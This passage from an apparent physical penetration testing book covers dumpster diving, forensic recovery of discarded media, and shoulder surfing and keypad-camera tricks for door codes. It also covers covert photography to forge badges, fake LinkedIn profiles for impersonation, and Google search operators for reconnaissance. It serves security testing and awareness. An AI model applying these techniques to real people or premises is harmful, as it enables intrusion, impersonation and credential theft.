anyone can\ngo through it and not have to worry about breaking the law. This is\nthe case in most jurisdictions and certainly in the UK and US (although\nin some places there are specific bylaws to prevent it). However, most\ndumpsters containing corporate trash are onsite on private land. However\nbe assured they won’t be under 24 hour armed guard with cameras and\ndogs. In fact they will most likely not even be locked. If they are locked, it\nwon’t be anything serious. If you are running a test remember dumpsters\nwill be on private property so treat the dumpster diving exercise with the\nsame seriousness as you would any other part of an assignment. Plan\nahead and make it your goal to be in and out as quickly as possible.\nDon’t be tempted to start sorting through the stuff in situ, grab what you\ncan carry – bring a couple of large canvas bags with you – and do the\nanalysis off site.\n" }, { "page_number": 115, "text": "DUMPSTER DIVING\n93\nPerforming Forensic Analysis on Captured Data\nForensics is the term used to describe the processes involved in acquiring\nand analyzing data from captured electronic media. This media can be\nhard drives, USB thumb drives, CD ROMS or anything else that contains\ncomputer data. Forensics as part of a legal investigation can be tremen-\ndously complex due to the need to preserve ephemeral evidence and\nchain of custody - luckily these are things you don’t have to worry about\nas your only goal is to recover data in the context of a penetration test.\nThere are a number of different ways you can go about analyzing\ncaptured electronic media. However, the following approach is easy to\nfollow, produces results, and is repeatable. You will need the following:\n•\nA copy of the Helix forensic toolkit, which can be downloaded for\nfree at www.e-fense.com/helix/\n•\nAn external USB2.0 capable high capacity hard drive.\nYou want to create an image of your captured media and store it on\nthe hard drive. This allows you greater freedom during the analysis\nprocess and as you’re not working on the original data you don’t have\nto worry about erasing or damaging data. Forensic investigators rely on\nthis technique to ensure the legal forensic integrity of the data though\nthis is not a concern for penetration testers. Helix reads the data ‘bitwise’\nfrom the media to ensure a perfect copy. This has an added advantage:\nany deleted data on the drive (that hasn’t been overwritten) is preserved\nand can be analyzed just as easily as regular data can. Helix allows you\nto do other things such as search for keywords, particular kinds of data\nand to read operating system passwords, among other things. All in all,\nit’s a flexible, easy to use package but has many powerful features for\nadvanced users. It’s also free.\nGetting Started with Helix\nIt would be very easy to write a whole book on Helix and still not cover all\nof its features. However, my only intention with this section is to describe\nthe basic features of acquisition and analysis but I encourage you to work\nwith Helix and learn to use the more advanced features. It’s worth it.\nData Acquisition in Windows\nAll data acquisition here refers to media that have been taken from site\n(i.e. dumpsters). Acquisition of the media is a lot easier in Windows.\n" }, { "page_number": 116, "text": "94\nINFORMATION GATHERING\nUnfortunately there are no (good) analysis tools for Windows so I\nswitch to Linux for that. Helix can either boot straight into Linux on\nstartup or run as a program within Windows.\nThis is the easiest way to get started. It’s possible to use Helix as a\nforensically safe Linux bootdisk, but this is absolutely not necessary here.\nYou’re not trying to preserve a chain of evidence, merely mine data.\nFollow these steps:\n1.\nBoot into Windows.\n2.\nPlug in the media you wish to capture and an external hard drive to\nstore the resulting images Note: You can store these images on your\nhard drive if you wish but if you’re capturing a lot of media you’re\ngoing to use it disk space fast. In Figure 6.1, I am capturing an 8G SD\ncard and storing it on an external drive.\nFigure 6.1\nHelix lets you explore data you capture.\n3.\nInsert the Helix cdrom. This will autoload the Helix windows soft-\nware. Figure 6.2 shows Helix booted.\n4.\nYou now need to configure the capture settings. Select live acquisition\n(the camera icon on the left) and set the following:\n•\nSource: This is the target media. You can select it from the drop-\ndown box.\n" }, { "page_number": 117, "text": "DUMPSTER DIVING\n95\nFigure 6.2\nOnce you boot Helix, you see a menu of choices.\n•\nDestination: This should be the external drive.\n•\nImage Name: Follow some sort of naming convention if you’ve\ngot a lot of media.\nFAT Filesystems can only create files up to 4GB in size. Therefore\nit’s a good idea to click Split Image. You then have the option of\nsampling the media in chunks that will fit on a cdrom, dvd or FAT32\nfilesystem.\nYour screen should look like Figure 6.3:\n5.\nNow click Acquire to see a screen similar to Figure 6.4\nThe length of this process will depend on the size of the media you\nacquiring.\nData Analysis\nAt this point, you will have one large .dd file or several smaller .dd.xx\nfiles. Unfortunately, for Windows, Helix doesn’t have any application\nto analyze the images. To do so, you need to boot your system with\nHelix (i.e. Linux mode). To do this insert the Helix disk and restart your\ncomputer. Helix will boot automatically. Then follow these steps:\n1.\nOnce the system is booted, launch Autopsy from Helix’s forensic\nmenu in the main menu. This is a web browser interface so wait for\n" }, { "page_number": 118, "text": "96\nINFORMATION GATHERING\nFigure 6.3\nHelix after you select live settings.\nFigure 6.4\nHelix shows you that it is processing your request.\n" }, { "page_number": 119, "text": "DUMPSTER DIVING\n97\nthe browser to load then create a New Case at the bottom of the\nscreen. Then, you will be asked to add hosts.\n2.\nClick on the Add Host button and a new page will appear. It will\nask you to add an image to investigate. Here, give the location of the\nimage you just acquired.\nBelow the image-location field, you will find three radio boxes to\nselect between copy, move or create a link to the actual image file to\nyour locker directory. The best option is to copy the entire image file\nto the locker directory.\n3.\nFinally, click on the Add Image button.\nNow, its time to run tests on the case you just created.\n4.\nFrom the Case Gallery, first select the case, host and the image\non which you want to run the tests. For example, if you want to\nknow all the deleted files in the image, click on the File Analysis\nbutton and then click the All Deleted Files button. This will show\nyou the names and dates of all the deleted files, as shown in\nFigure 6.5.\nFigure 6.5\nViewing deleted information.\nYou may be looking for a specific piece of data or a key word. Luckily\nfor you, Autopsy supports searching on specific words as shown in\nFigure 6.6.\n" }, { "page_number": 120, "text": "98\nINFORMATION GATHERING\nFigure 6.6\nWant to search for specific words or phrases? No problem.\nIt’s also possible to extract all ASCII strings from an image as shown in\nFigure 6.7.\nFigure 6.7\nExtracting ASCII strings.\n" }, { "page_number": 121, "text": "SHOULDER SURFING\n99\nThere are a vast amount of forensic tools available, a lot of them free to\ndownload, although expensive commercial solutions exist. I wanted to\nintroduce the world of forensics to you via Helix as these tools represent\nthe baseline of what you need; the ability to acquire data and analyze it\nin a procedural manner. Tempting as it is to spend the rest of the chapter\ntalking about forensics and Helix in particular it’s only one aspect of\nthe intelligence gathering process. In any case, you’ll find a number of\ntools on the Helix disk for doing all kinds of specialist tasks that range\nfrom analyzing the windows registry to password recovery and I strongly\nrecommend becoming familiar with them. They are a powerful weapon\nin your arsenal.\nThe Advantages of Electronic Shredding\nThe risks of throwing electronic media in the trash should now be\nabundantly clear, but what are your options? Cdroms and dvds should\nbe shredded (most shredders will accept disks) or cut into quarters. Hard\ndrives should be cryptographically scrubbed before being disposed\nof (or sold on EBay . . .). There is a bootable linux distro called\nDBAN that’s freely available from www.dban.org. This software allows\nyou to completely erase the hard drive by overwriting it several\ntimes with unpredictable random data. DBAN prevents or thoroughly\nhinders (depending on running mode) all known techniques of forensic\nacquisition.\nShoulder Surfing\nThere’s nothing technical about shoulder surfing (at least not traditionally).\nShoulder surfing is the act of direct observation (such as looking over\nsomeone’s shoulder) in order to obtain small pieces of crucial information\nsuch as usernames or passwords, ATM codes or (very popular at one\ntime) long distance calling codes at payphones. Shoulder surfing is most\nsuccessful in crowded places as it permits a greater potential of both\ntargets and concealment.\nA classic criminal example is surfing a pin code on a locker at the gym.\nAs people tend to reuse their four digit codes you can be fairly certain\nthat pin codes on the credit cards stored in the locker will be the same.\nAnother example is the classic ATM scam. Criminals have been known\nto install small devices in ATM machines that capture cards. As the ATM\nuser stands there trying to figure out what’s happened, he’s approached\nby the crook who tells him he had the same problem the other day and to\n" }, { "page_number": 122, "text": "100\nINFORMATION GATHERING\njust try entering the code again, which is discretely noted. Naturally, this\ndoesn’t work so the mark walks off to call his bank. The criminal walks\naway too, now in possession of both the card and the pin.\nIn this section I discuss the two more interesting things you can get through\nshoulder snooping: computer access codes (usernames, passwords, pins\netc) and door codes. Shoulder surfing for computer codes can take place\nboth within the target premises by discretely observing staff or outside in\ninternet cafes, trains or wherever staff use their computers.\nOnce you’re within the target premises, acquiring passwords is easier as\nyou have the ability to leverage trust.\nAs an example consider the following case study:\nCase Sudy: The Password\nKris found getting into the office to be a snap but he needed passwords.\nActually, he just needed one username and password. That would get\nhim into the local domain controller. Then he’d setup his laptop in\na quiet little unoccupied room away from prying eyes and work his\nmagic. In the corner, sitting by herself Kris spied a worker obviously\nhaving problems with her workstation. He smiled, this would be\neasy.\n‘‘Excuse me ma’am, I’m Dave from tech support, how are you today?’’\nhe asked.\n‘‘Fine thanks, I’m Cindy’’ she replied distractedly.\n‘‘We’ve been receiving complaints about network performance all\nmorning, how are you finding things yourself?’’\n‘‘Ah, things certainly seem to be a little slow and Office keeps crashing’’\nExcellent, thought Kris, good old Office. ’’Hmm. I thought so, do you\nmind if I take a look?‘‘ he asked.\n‘‘Of course, please! Anything you can do to help!‘‘ responded Cindy,\npursuing the hopeless dream of a non-crashing Office.\n‘‘Would you mind logging out for me?’’ said Kris, leaning over her\nshoulder to get a better look. ‘‘OK. Good, now log in for me again.\nExcellent, hmmm it is slow isn’t it? I’ll run some tests at my end,’’ he\nsaid taking out his laptop and heading for a deserted office. Username:\nCindyh. Password: Bobby1. Perfect.\n" }, { "page_number": 123, "text": "SHOULDER SURFING\n101\nGetting Door Codes\nMost door codes have only four-digit numeric pins. In cases where\ndoor codes are used, all members of the staff usually use the same pin.\nConsequently pins tend to be found guarding the doors to smaller offices.\nLarger premises are more often guarded by the use of proximity based\naccess cards. Door code entry points tend to be clearly placed at eye level.\nEmployees are generally not secretive about what they type, especially\nfirst thing in the morning before they’ve had their coffee. In any case, if\nyou are appropriately dressed you shouldn’t attract too much attention\nand therefore not have much trouble eyeballing the access code.\nIf simple shoulder surfing is too conspicuous, here’s a little trick. A pin\ncode is unlikely to be more than four digits; it’s also unlikely that digits\nwill be reused.\nTherefore, assuming the keypad runs from 0-9 there are 10 × 9 × 8 × 7 or\n5040 possible combinations, which is far too many to guess. If you knew\nwhich digits were in use, just not the order, the difficulty is significantly\nreduced: 4 × 3 × 2 × 1 or 24 possible combinations. How do you do\nthis? It’s quite simple: Run a clean cloth over the keypad then ensure that\nit’s dry and free from fingerprints. The next time somebody enters the\ndoor code, their fingerprints will be quite visible on the buttons.\nElectronic and Automated Shoulder Surfing Methods\nYou may have heard news stories about criminals installing tiny cameras\nnear ATM machines to capture pin codes. This has happened with a\nsurprising degree of success, which is why many ATM machines now\ndisplay warnings that users should be on the lookout for attachments\nthat feel out of place. It is now possible to purchase extremely small\nself-contained wireless cameras that have sufficient transmission range,\nresolution and discrete profile to suit out needs. Attaching a camera to a\ndoor access pad, while not something you want to get caught doing, is\npossible and the advantages are obvious.\nDisguising the camera in some way is preferable. You can place Small\nwireless cameras, available from the usual spy stores, under the top\nrim. (Actually an exaggerated rim used to hide the keypad and prevent\nshoulder surfing helps you in this case.) You can also try attaching a\ncompany logo and the words Diagnostic Test. This strategy allows the\ndevice to go unquestioned long enough to capture the access code.\nObviously when your device is found, your target will go from unaware\nto aware very fast indeed.\n" }, { "page_number": 124, "text": "102\nINFORMATION GATHERING\nLong Range Surfing Techniques\nIt’s sometimes possible to observe computer monitors, keyboards, and\nentry systems from a distance using binoculars or a long lens fitted\ncamera. The Canon G Range Powershot cameras we discuss in the next\nsection (in fact most modern cameras) are capable of capturing HD video.\nWhen trying to capture keystrokes that may be ambiguous, being able\nto review the entry again and again is very useful. You can perform this\nlong range shoulder surfing from the street, adjacent buildings, down\ncorridors, or even hotel rooms. Setting up in an elevated position, for\nexample looking down though a window of an office building, gets the\nbest results. Observe the surroundings and determine if it’s possible to do\nthis from an adjacent public building. Roof access to a building across\nthe street is perfect for this kind of work.\nCollecting Photographic Intelligence\nPrior to commencing a physical penetration test it is desirable to build\nup photographic intelligence of the target building itself as well as staff,\nthe general environment, and other points of interest. Usually, this is\nperformed before the physical test itself with as much lead-time as\nnecessary. The nature of photographic surveillance will vary between\nassignments but you should aim to build as comprehensive a dossier\nof information as possible. At a minimum you should come away with\nphotographs of the following:\n•\nTarget Buildings: Take as many photographs as you can from as many\nangles as possible to build up a comprehensive image of the target\nlocation.\n•\nPoints of Ingress/Egress: Ensure you know where all the entrances\nand exits are and what means are in place to protect them. Think\nbeyond the obvious, under certain circumstances a fire exit can also\nbe an entrance.\n•\nAccess Control: Does the target use swipe cards, pin codes, proximity\nbadges or bar codes to permit entry? Note that in some cases,\npermanent members of staff have proximity badges whereas visitors\nare issued temporary badges that have bar codes or which must be\nshown to security. Get photographs of the card readers themselves for\ntechnology analysis later. Believe it or not, sites that require visitors\nto be escorted are generally less secure, because in practice it is\nquite unworkable and staff soon tire of escorting their guests to the\nbathroom. Consequently, people are used to letting guests they don’t\nknow in and out of secure areas.\n" }, { "page_number": 125, "text": "COLLECTING PHOTOGRAPHIC INTELLIGENCE\n103\n•\nPasses/badges: If possible take close up discrete photographs of the\npasses themselves. Usually staff entering a building will have them\non open display either around their neck on lanyards, on outer suit\npockets or belt clips. Having a good image of a badge will allow you\nto Photoshop one later. Sometimes you can go further than that. (See\nThe Badge case study later in this section.)\n•\nDumpsters: We’ve already discussed dumpster diving. If you know\nwhere you’re going prior to entering the site so much the better.\n•\nSecurity Staff: Does the target employ dedicated security personnel, if\nso make sure to get good shots of their uniforms. Are the staff in-house\nor (more likely) does the target outsource? If so, which firm? How\nmany guards are there? Where are they? Are they static or mobile?\nCan their movements be predicted at any given time?\n•\nPerimeter Security:\n•\nWhat physical security does the target employ and does this alter over\nthe course of the day? Get shots of locks and physical barriers of any\nkind. What is needed to enter parking lots? For example some require\nan employee swipe badge, some are just automated.\n•\nOther security mechanisms: Get photographs of cameras and their\nlocations; this will enable you to determine black spots – areas of no\ncoverage. It will also enable you to determine what vendors the target\nis using and any innate vulnerabilities they might have. What time\ndoes staff generally arrive? How long until they’ve all left? What is the\ndress policy? Do mass comings and goings create better potential for\nphysical entry?\nThe Badge\nKris leaned back on the park bench and casually snapped off another\ncouple of shots. The wide angle lens on his Canon G10 allowed him to\npoint his camera at the historic building like just another tourist which\nhe appeared for all the world to be in his sunglasses, baseball cap\nand baggy jeans. What he was actually photographing were the office\nworkers chatting just off to his left. Thank God for multi-point focus he\nthought. Their badges were clearly visible and checking the screen on\nhis camera he’d got a couple of very good pictures. Very good indeed\nas it turned out because, the barcode and corresponding number were\nclearly visible.\nBack at base Kris started the process of recreating the passes, which was\nmostly very easy. The barcode however was a challenge. Examining\nthe barcode itself, he realized that this was a temporary pass, only valid\nfor that day. The numbers corresponding to today’s date as well some\n" }, { "page_number": 126, "text": "104\nINFORMATION GATHERING\ntrailing numbers needed to complete barcode. He examined a picture\nof another pass – the same thing except the trailing numbers were\ndifferent which indicated they could be an additional layer of security,\na checksum or completely random. Kris created a new barcode with\nthe date of the penetration test coded into it and imported the resulting\n.jpg into Photoshop to paste on to his badge. He’d have to assume\nthe trailing characters were random, if the badge didn’t work he’d just\nhave to wing it. He smiled; winging it was what he did best.\nIntroduction to Discrete Photography\nAn important skill to develop is being able to photograph people, often\nat close range, without detection. Observing people coming and going\nhas always been a source of fascination to me and as a child, I was\ngiven a copy of The Decisive Moment by Henri Cartier-Bresson. This\nsmall collection of photographs changed the way I looked at the world\nforever. Cartier-Bresson was an originator of the genre known as street\nphotography, a sort of pseudo photojournalism that seeks to capture\npeople in candid situations within public places and generally unaware.\nAny success in the field requires the budding street photographer very\nquickly to learn how to operate a camera whilst appearing to do something\nelse. Once someone realizes they are being photographed they behave\nvery differently. A lot of the skills in street photography are directly\ntransferable to what we will call discrete photography – obtaining up\nclose and personal images that will be useful to the penetration testing\nteam. An example would be capturing a high quality image of an entry\npass as in the case study above.\nFirst of all, it is important to configure your camera in such a way that\nit won’t give you away. I strongly favor the Canon Powershot G range\nfor this kind of work but any decent compact high-end digital camera is\nsuitable and this advice is directly transferable to most cameras.\nDigital cameras offer the following settings:\n•\nRAW Mode: If your camera supports RAW, DNG or TIFF modes then\nuse them in that order of preference. The unprocessed image and\nsuperior quality more than make up for the additional post processing\nwork required.\n•\nAuto Focus: Unless the auto focus on your camera is particularly\nlaggy, use it. If not use manual mode and configure for a hyper-\nfocal distance appropriate to your camera. This is different for all\ncameras but there are plenty of resources on the internet to explain\nthe reasoning behind doing this.\n" }, { "page_number": 127, "text": "COLLECTING PHOTOGRAPHIC INTELLIGENCE\n105\n•\nFlash: Turn it off! Blasting someone in the face with a flash does tend\nto lean away from the discrete.\n•\nSounds: No beeps or clicks. It is possible to make a compact camera\ncompletely silent, an advantage over the distinctive mirror slap you\nget with a Single Lens Reflex camera (SLR).\n•\nFocus Assistance: Disable this beam projected by the camera in order\nto help the auto focus find the range. Not only is the beam itself highly\nvisible it is also obvious that it’s originating from your camera.\n•\nAutomatic ISO Assist: As you likely won’t have much opportunity\nto compose your shot and you certainly won’t be using a tripod you\nneed all the help you can get to keep the shot in focus. ISO Assist\nautomatically adjusts the ISO (exposure speed) upwards decreasing\nthe exposure time. In extreme cases this can introduce noise into the\nimages but not enough to be a problem for your purposes.\nSave these settings to a custom slot and they will be available at the touch\nof a button.\nBlending In\nA famous myth concerning Henri Cartier-Bresson is that he would wrap\nhis camera up in a handkerchief and take photographs while pretending\nto sneeze. That’s actually just silly enough to be true. However, modern\ncompact cameras are very small and virtually every one owns a camera.\nThey’re everywhere you look on the street. When you’re next in the\ncity, observe how many people have cameras around their necks and\nwhat they photograph. Most of the people you see snapping away are\ntourists and no one gives them a second glance. There are many books on\nstealthy surveillance photography but to be honest one simple rule will\nsuffice when shooting people on the street, act innocent and look like you\nbelong and no one will give you a second glance either. When getting\ninto a position to shoot up close keep your hand over the shutter release\nconstantly as though you’re just holding on to the camera to prevent it\nswinging about. A little pressure will release the shutter and your camera\nwill do the rest. Take as many shots as you can. When taking shots it’s\ngood to be absorbed in something else, feigning interest in something in\nthe other direction, studying a guide book, or whatever. Anything that\ndetracts attention from what you’re really doing. If you are approached\nor questioned, how you react is up to you but keep it in character so\nthat it’s a response that’s natural and less suspicious. Deny everything or\nclaim to be a famous street photographer – it’s up to you – but remember\nyou’re not doing anything illegal. There is specialist equipment available\nmanufactured by Leica that includes discrete lens that take pictures at\nright angles and so forth, but like most things made by Leica these days\n" }, { "page_number": 128, "text": "106\nINFORMATION GATHERING\nthey’re overpriced and unnecessary. A bit of nerve will serve you far\nbetter. Discrete photos don’t have to be particularly well composed -\nyou’re not entering a competition, it just needs to be clear enough to\ngive you the information you need. Figure 6.8 is an example of what I’m\ntalking about.\nFigure 6.8\nIt might not win awards but you can clearly see the necessary details in this\nphoto.\nUsing Discrete cameras\nYou can find any number of covert cameras for sale from ‘‘spy shops’’\non the Internet. I hesitate to recommend any of them - for such a camera\nto be useful to a penentration tester it would need to be completely\nportable with a good battery life and have a high quality video feed.\nSuch cameras do exist but not for the $200 most of these places charge.\nThe image quality of these cameras is poor and high in noise which\nwhilst forgivable for static room surveillance is not suitable for the rapidly\nchanging environment you are likely to find yourself in when covertly\nrecording targets in public. That being said, technology is constantly\nimproving, shrinking and getting cheaper so this advice may become\nincreasingly inaccurate.\nNight time Photography\nTaking photographs discretely at night is a unique challenge. Even expen-\nsive SLRs capable of extremely high ISOs will perform poorly in very\nlow light without flash. However, it is possible to take photographs in\ntotal darkness using 35 mm cameras equipped with an infrared film and\nflash. This is a field of photography rarely discussed these days due to the\n" }, { "page_number": 129, "text": "FINDING INFORMATION FROM PUBLIC SOURCES AND THE INTERNET\n107\nprevalence of digital cameras (which perform poorly in the infrared field)\nand digital camcorders equipped with Night Shot mode. The beautiful\nthing about an infrared flash is that it is completely invisible in the pitch\nblack even a few feet from the subject. The film is expensive at about $20\na roll and processing is not cheap but for discrete night time photography\nyou really have no choice. It is possible to build an infrared lens filter\nfor some models of compact digital cameras (those that don’t filter IR\nto improve image quality). However to function correctly an excessively\nlong exposure time is required and that is not compatible with our needs.\nFigure 6.9 is an example of night time infrared photography.\nFigure 6.9\nInfared flashes are invisible.\nFinding Information From Public Sources and the Internet\nAbout 90 percent of the information anyone needs to breech security is\nfreely available; the difficult part is recognizing and analyzing it. Of the\nremaining 10 percent, well over half can usually be inferred from that\n90. With any given objective, there are usually only a limited number of\nsensible conclusions. This has never been more true than right now in the\n21st century. With the all-pervading nature of the Internet, information\ngathering has never been easier; we are now a culture of information\nexhibitionists and many people have weblogs, personal websites and\nprofiles on social networking sites. Coupled with the fact that virtually\neverything written on the Internet is indexed by search engines and that it\nis possible to access numerous databases on companies and individuals,\nthe Internet is a vast resource to draw from. In this section I will address\nthe resources that I have found to be useful when researching targets.\n" }, { "page_number": 130, "text": "108\nINFORMATION GATHERING\nAlthough it is by no means comprehensive, it will be sufficient to illustrate\nthe points I’ve made here.\nMining Social Networking Sites\nSocial Networking (SN) sites are invaluable. They allow their users\nto upload profiles, host weblogs (blogs), share photographs and other\nmedia, play games with other users and make friends. The leading SN\nsite, Facebook claims in excess of 150 million users while MySpace is\nreported to exceed 100 million, attracted 230,000 new users a day.\nPersonal social networking profiles can be interesting if only because\npeople tend to assume they exist in a vacuum and won’t be linked to\nthem in the real world. As a consequence such profiles can provide a lot\nof information on target staff: email addresses are useful for tracking down\nmore information on the Internet, photographs allow you to identify staff\nmembers on site, any personal information may allow you to masquerade\nas that individual. If you’re a business professional, it’s a very good idea\nto be careful about what you put on the Internet.\nFacebook and MySpace while very popular are by no means the only\nsocial networking sites. In the Netherlands for example, the native Hyves is\nfar more popular than either of those. Keep this in mind when researching\ntargets.\nMuch more interesting to the penetration tester are the business oriented\nsocial networking sites. Following more or less the same ground laid rules\ndown by the companies mentioned previously, sites such as Linkedin.com\nfacilitate professional networking. As of October 2008, it had more than\n30 million registered users. With LinkedIn the idea is to create an\nonline CV and actively invite colleagues, business partners and clients\nto be connections. This way you can see whether you are interested in\ncontacting someone with a particular profile or skill set and you can\nrequest a referral via your mutual network of connections.\nAlthough some users subscribe to the philosophy of open networking,\ni.e. accepting connections from anybody who invites them, this is dis-\ncouraged and (to a degree) punished. The upshot of this is that someone’s\nLinkedin profile leaks a tremendous amount of very relevant information.\nThis includes:\n•\nCurrent Employer.\n•\nCurrent Position.\n•\nPrevious Employers.\n•\nNames of connections: This can be hidden though rarely is.\n" }, { "page_number": 131, "text": "FINDING INFORMATION FROM PUBLIC SOURCES AND THE INTERNET\n109\n•\nRecommendations: You can recommend a co-worker or business\npartner. Recommendations from clients are particularly useful for\nsocial engineering purposes.\n•\nSkill Set: This is very useful to the penetration tester as it allows you\nto harvest employee information for a particular company, determine\nwho to target in social engineering attacks for specific information and\ndetermine who has responsibility for key roles such as administration,\nsecurity, finance and Information Technology.\nFurthermore, anyone can create a LinkedIn profile making it easier to\nmasquerade as a past friend or colleague of a target. Building up credibility\nwith a Linkedin Profile is incredibly easy. You need two things:\n•\nConnections: As previously noted there are plenty of open networking\ngroups on LinkedIn. When you join one of these your email address\nis sent to all participants who will then invite you. This allows you to\nobtain several hundred verifiable connections very quickly.\n•\nRecommendations: Create a fake profile and add connections for\ncredibility, then use this account to recommend your profile. Gen-\nerally, fake profiles should be currently employed by very large\ncompanies so the fact that no one knows you will not be considered\nunusual.\nConsider the tongue in cheek example shown in Figure 6.10.\nFigure 6.10\nJust look how much information the basic social profile includes.\n" }, { "page_number": 132, "text": "110\nINFORMATION GATHERING\nOther sites such as pipl.com stockpile information about you based on\nsearch engine heuristics and God knows what else. (The information is\noften hideously incorrect, especially if you have a common name.) That\nsaid such sites can be interesting and just a little bit dangerous because\nthese profiles are created without your permission and often without\nyour knowledge. It’s an interesting exercise to Google yourself once in a\nwhile and see what’s out there. You may be surprised. A worthy exercise\nif you’re concerned about security within your organization is to use\nGoogle to see where your company name turns up. Again, you may\nbe surprised. If you are responsible for information security within your\norganization you should consider creating a social networking policy\nfor use outside the office. Prohibit using the company name in personal\nprofiles and electronic correspondence to make it more difficult for an\nimposter to pose as an employee from another office.\nExploring Corporate Websites\nThe websites of target organizations are in many ways the worst cul-\nprits when it comes to leaking information. Often it’s possible to access\nemployee directories which will give detailed information to social engi-\nneers. Data commonly available includes:\n•\nName.\n•\nDepartment/Department ID.\n•\nEmployee No.\n•\nPhysical Office.\n•\nDesk Phone No. Often a mobile No. for sales staff.\n•\nPhotograph.\nIt’s a good practice to restrict corporate directories to intranets but in large\ncompanies with many employees across many offices who may also need\nto be reached by clients or potential clients this is not always considered\nviable.\nA (very) short guide to Leveraging Google\nGoogle can be used in a number of ways to harvest information about\nyour target. It is possible to provide Google with various filters in the\nsearch box to be very specific about the results that you want to see. For\nexample, if one were searching for websites used by a fictional company,\nLithex Corporation, an attacker might use the following search term:\nsite:lithexcorp.com -www.lithexcorp.com\n" }, { "page_number": 133, "text": "FINDING INFORMATION FROM PUBLIC SOURCES AND THE INTERNET\n111\nThis would return all websites owned by Lithex (that Google has indexed)\nother than the public site. This is useful for finding sites that are intended\nto be outside the public eye such as extranets, forums and notices,\ncorporate directories, test sites (useful as they tend to be less secure),\nwebmail, management interfaces, network cameras and much more.\nSome other examples include:\nsite:lithexcorp.com filetype:doc\nThis returns any word documents found on any Lithex website. This can\nbe useful because Office documents tend to contain a lot of unsanitized\ninformation embedded in the document template such as names, email\naddress and even network topology. In this case .doc could be substituted\nfor .xls. Try searching for .mdb. These are MS Access database and their\npasswords can be easily hacked (if they’re even protected).\nTo find pages containing the word ‘password’, use:\nsite:lithexcorp.com password\nTo find Axis Network cameras, use:\nsite:lithexcorp.com inurl:indexFrame.shtml Axis\nThere are many, many other examples. Rather than take up more space\nI suggest you check out The Google Hacking Database at http://johnny.\nihackstuff.com/ghdb.php. You should also download some software\ncalled Goolag, which automates the Google information hunting process:\nhttp://www.goolag.org.\nAnother way you can use Google is to see what other people are saying\nabout the target. A good example of this is third party press releases.\nIn order to boost their own corporate image, vendors often put out a\npress release when they’ve sold technology into a high end client. This is\nparticularly true of software. Another place to search is Usenet (or Google\nGroups as it’s sometimes erroneously called). It’s not as universally used\nthese days with the advent of web based bulletin board systems but it’s\nstill very popular with older techies.\nI’ve been very brief covering Google, not because it has less relative\nimportance. Quite the opposite, but because it’s use in gathering infor-\nmation has been covered in depth elsewhere both in print and online and\nI don’t want to get into the trap of reproducing others’ work here. It’s a\nsearch engine, you can use it to search. Enough said.\n" }, { "page_number": 134, "text": "112\nINFORMATION GATHERING\nGathering Information with Maltego\nA useful tool for gathering information and particularly plotting the\nrelationship between individual pieces of data is called Maltego and\ncan be acquired at http://www.paterva.com/maltego. There is a free\n(community) version available for download. It works fine but if you use\nit regularly (and you just might) I recommend buying the full version,\nwhich permits an infinite number of searches. Maltego is an intelligence\nand forensics application. It allows you to mine and gather information\nas well as represent this information in a graphical manner. Because\nMaltego can identify key relationships between pieces of information,\nit is an extremely useful tool when performing preliminary research for\nany kind of penetration test and particularly in tests involving social\nengineering. A picture paints a thousand words so Figure 6.11 provides\nan example:\nFigure 6.11\nMaltego is useful for discovering relationships.\nIn the left hand column are a number of what Maltego calls ‘entities’.\nAn entity can be a person’s name, an email address, a physical location,\nan Internet domain name and so forth. You drag entities on to the main\nwindow, and populate them with data. You can query online databases\nand search engines to discover relationships. For example, in Figure 6.10\nI added a Person entity which I populates with ‘Wil Allsopp’. By right\n" }, { "page_number": 135, "text": "FINDING INFORMATION FROM PUBLIC SOURCES AND THE INTERNET\n113\nclicking this entity I ask Maltego to find all websites and email addresses\nassociated with this person. A huge amount of results are returned\nincluding a number of false positives, most of which are obvious and can\nbe deleted. You can already see interconnected relationships emerging\nbetween email addresses and websites. If we ask Maltego to return all\nblogs known for ‘Wil Allsopp’ another picture emerges.\nIn this simple example, I have established that Wil Allsopp regularly\nposts to security related websites, obtained multiple email addresses and\nascertained that he has a profile on LinkedIn. This is less than a minute’s\nwork. Given time and a good analysis plan, Maltego allows you to mine\na good deal of data and establish some very complex relationships.\nUsing Satellite Imagery\nThere are numerous public sources of satellite images these days but\nthe one that stands out by far is Google Earth (http://earth.google.com).\nGoogle Earth is a seamless patchwork of satellite photographs taken from\ndifferent sources and regularly updated. Actually, it’s a great deal more\nthan that but it’s the photographs we’re interested in. Most civilized places\n(and even Wales) are shown in high resolution and quite indiscriminately.\nConsider the shots in Figure 6.12 and 6.13:\nFigure 6.12\nGovernment Communications Headquarters, Cheltenham.\n" }, { "page_number": 136, "text": "114\nINFORMATION GATHERING\nFigure 6.13\n22 Regiment Special Air Service (SAS) HQ, Credenhill.\nThese are extreme examples but I hope my point is clear, satellite photos\nshould be your first stop when analyzing the target.\nAside from a general feel for the environment, some useful information\nthat can be obtained includes the location of entrances, exits and car\nparks (where wireless hacking may be performed), whether the location\nlends itself to public photography and where those all dumpsters are\nlocated. Another cool thing about Google Earth is that you can overlay\nGPS tracks and coordinates over maps and satellite images or conversely\npinpoint potential targets and waypoints within the software and then\nupload their coordinates to your GPS unit.\nA brief note on password reuse. . . .\nThis is not a technique that you will be using during a penetration test\nbut it’s worth noting if only to make a point.\nPeople have accounts with numerous systems throughout the internet;\nblogs, webmail, forums etc and the security posture of all these\ndisparate services is not equal. With a little research and using tools\nsuch as Maltego and Google it is possible to determine who uses\nwhat with a minimum of research. If your account on a low security\n" }, { "page_number": 137, "text": "ELECTRONIC SURVEILLANCE\n115\nsystem is compromised and your password is the same on other\nsystems then you have a problem. There is no simple solution to this\nother than to be cautious who you sign up with and to use different\npasswords and email addresses for casual and serious accounts. Never\nstore confidential information such as passwords, encryption keys and\ncredit card numbers in webmail accounts.\nElectronic Surveillance\nCovert Electronic Monitoring (CEM) is one of the biggest dangers to orga-\nnizations at risk from commercial espionage.For this reason penetration\ntesting teams are employed to simulate a physical intrusion by an attacker\nwhere the goal is to install listening devices in sensitive areas. By listening\ndevices, I mean the following:\n•\nTraditional Room ‘Bugs’: Professional bugs (rather than those cheaply\nbought at ‘spy shops’) are capable of extremely long-term autonomous\noperation. During a fingertip search of a ceiling space in 2002, my\nteam found a bug that had been placed by an unknown attacker,\nprobably several years before, and still very much active. Discrete\ncameras are sometimes used as well, but in commercial espionage,\nvideo is less common than voice recording and data snooping. In\ngeneral, bugs are designed to transmit voice via a radio signal to\na receiver. The range of a signal varies based on the strength of\ntransmission and the nature of the surrounding super-structure. The\nfrequencies that bugs transmit on also varies depending on how much\nyou’ve paid for such a device but also on locale as governments\ntend to license different wavelengths. This however will be of minor\ninterest 